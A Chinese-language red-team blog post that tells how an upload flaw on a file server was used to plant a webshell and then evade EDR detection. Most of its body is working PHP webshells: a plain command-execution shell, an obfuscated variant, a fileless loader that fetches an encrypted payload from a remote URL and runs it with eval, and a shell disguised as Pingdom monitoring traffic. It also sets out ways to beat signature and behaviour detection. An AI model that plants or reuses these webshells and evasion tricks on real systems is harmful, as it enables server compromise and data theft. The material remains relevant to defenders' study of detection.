一、一次“无声无息”的渗透行动

还记得去年冬天,我曾参与一次针对某互联网公司的红队演习。目标资产是一台对外的业务服务器,而这台服务器的职责是管理用户文件上传和存储。经过仔细的探测和某些社工技巧,我们发现了一处文件上传点。直觉告诉我:这里可能是突破口。

黑客示意图

当时,上传接口虽然有基本的 MIME 类型验证和后端文件检测,但没有特别严格的逻辑。通过一系列测试,我们成功上传了一个 Webshell。然而,故事并没有就此结束。由于目标服务器部署了某知名 EDR 产品,常见的 Webshell 直接暴露在瞬间被拦截。为了继续渗透,绕过“免杀”成为关键任务。

接下来,我将重现这次攻防旅程,分享如何从 Webshell 上传到免杀,再到顺利完成权限提升和数据窃取的完整过程。

---

黑客示意图

二、从普通 Webshell 到“隐秘武器”

漏洞利用的起点

在渗透目标之前,我们先简单复现一下文件上传漏洞的利用。以下是一个构造简单的 Shell 文件的示例代码(PHP):

<pre><code class="language-php">&lt;?php if (isset($_REQUEST[&#039;cmd&#039;])) { echo &#039;&lt;pre&gt;&#039; . shell_exec($_REQUEST[&#039;cmd&#039;]) . &#039;&lt;/pre&gt;&#039;; } ?&gt;</code></pre>

这个 Webshell 的功能非常基础,通过 ?cmd= 参数执行任意系统命令。然而,这样的代码在实际渗透中几乎无法使用。当前的主流安全产品都能够轻松识别这种简单的 Webshell。

为此,我们需要对 Webshell 进行免杀处理。

---

免杀的基本思路

在安全产品的检测逻辑中,大多数 Webshell 的识别基于以下特征:

  1. 代码模式匹配:常见的 shell_execevalassert 等关键函数被标记为高危。
  2. 加密流量解密:某些安全系统会对加密传输内容进行解码,寻找恶意特征。
  3. 行为分析:Webshell 运行过程中调用的系统命令、网络模块、文件操作可能触发沙箱或动态检测。

为了绕过这些检测,我们需要对 Webshell 的代码进行重构和混淆,甚至使用代码动态加载技术。接下来我们深入实践。

---

三、从“直接暴露”到“隐秘潜入”

混淆:让代码看起来更安全

混淆是最基础的一步。以下是一个简单的混淆示例,把核心功能隐藏到变量中,并改变代码结构:

<pre><code class="language-php">&lt;?php $func = &#039;shell&#039; . &#039;_exec&#039;; // 动态拼接函数名 if (isset($_REQUEST[&#039;execute&#039;])) { $command = base64_decode($_REQUEST[&#039;execute&#039;]); // 解码命令 echo &#039;&lt;pre&gt;&#039; . $func($command) . &#039;&lt;/pre&gt;&#039;; // 执行解码后的命令 } ?&gt;</code></pre>

解读:

  • 通过动态拼接函数名,将 shell_exec 隐藏。
  • 使用 Base64 对传递的命令进行加密,避免明文特征暴露。
  • 重构代码逻辑,让检测规则更加难以适配。

---

内存加载:隐藏代码的关键

如果目标服务器的防御体系较强,混淆可能并不足以绕过检测。这时,我们需要使用内存加载技术,让恶意代码“无文件化”,避免被磁盘扫描检测到。

以下是一个 PHP 的内存加载示例,它会从远端拉取加密的代码并执行:

<pre><code class="language-php">&lt;?php $key = &#039;my_secret_key&#039;; // 对称加密密钥 $remote_url = &#039;http://example.com/payload.enc&#039;; // 加密的 Webshell 远程地址

// 下载加密的 payload $encrypted_code = file_get_contents($remote_url);

// 解密 $decoded_code = openssl_decrypt($encrypted_code, &#039;AES-128-ECB&#039;, $key);

// 动态执行解密后的代码 eval($decoded_code); ?&gt;</code></pre>

黑客示意图

解读:

  1. payload.enc 是存储在远程服务器上的加密 Webshell 文件。
  2. 使用 openssl_decrypt 按照指定的密钥解密。
  3. 最终通过 eval() 动态执行解密后的代码。

这种方式的优势在于:

  • 本地没有任何恶意代码的明文存储。
  • 攻击者可以随时更换远端 payload.enc 的内容,而无需修改客户端代码。

---

二次编码:混合伪装特征

有时,我们可以利用语言中的一些特性进行二次编码,使恶意代码显得更加“正常”。以下是一个二次编码的例子:

<pre><code class="language-php">&lt;?php $command = $_REQUEST[&#039;code&#039;] ?? &#039;&#039;; // 接收用户传入的代码 $function = create_function(&#039;$c&#039;, &#039;return base64_decode($c);&#039;); // 动态创造函数 eval($function($command)); // 动态执行解码后的代码 ?&gt;</code></pre>

这里的 create_function()base64_decode() 配合,让代码的目的更难被直接识别。

---

四、流量伪装:绕过传输层检测

即使 Webshell 本身免杀,传输过程中也可能被流量检测设备(如 WAF、IDS/IPS)拦截。为了绕过传输层检测,我们可以对流量进行伪装。以下是一个流量伪装的思路:

使用自定义协议

将恶意的通信流量伪装成普通的 HTTP 或 WebSocket 协议。举个例子:

<pre><code class="language-php">&lt;?php if ($_SERVER[&#039;HTTP_USER_AGENT&#039;] === &#039;PingdomBot&#039;) { $key = &#039;V2VsY29tZVRvUmVkVGVhbQ==&#039;; // base64 加密的密钥 $cmd = base64_decode($_POST[&#039;data&#039;]); // 解密命令 echo shell_exec($cmd); // 执行命令 } ?&gt;</code></pre>

在这个例子中:

  • 代码通过检测 User-Agent 字段伪装成合法的 Pingdom 监控流量。
  • 使用 Base64 对传输内容进行简单加密。

攻击者可以通过定制客户端发送特定的 User-Agent 和加密数据,与 Webshell 进行通信。

---

五、防御力量的破解与应对

作为红队,我们的目标是持续优化攻击方法,但也需要了解防守者的策略。以下是当前主流防御方式及其绕过思路:

特征检测

防御方通常会对 Webshell 的特征进行签名匹配。针对这种检测,攻击者可以:

  • 动态修改代码结构,让特征难以提取。
  • 使用非标准函数或自定义加密算法。

行为分析

现代 EDR 产品能够通过动态分析 Webshell 的行为识别其意图。攻击者的应对策略包括:

  • 将敏感操作(如 shell_exec)分离到异步任务中,由另一个进程执行。
  • 降低单次攻击的行为特征,分布式执行多个小操作。

---

六、经验总结:对抗是一场持久战

在免杀这条路上,攻击者和防御者的攻防永远在拉锯。作为红队人员,我们需要不断更新自己的工具链和思路:

  1. 代码动态生成:通过脚本自动生成千变万化的 Webshell。
  2. 协议伪装:模拟合法流量特征,隐藏恶意行为。
  3. “无文件化”攻击:尽量减少落地文件,让恶意代码只存在于内存中。

合法声明:本文所有技术仅供授权范围内的安全研究与教育用途,切勿用于非法用途,否则后果自负。

希望这些技术可以为你的红队之路提供一些启发,同时也提醒防守方在攻防对抗中保持警惕。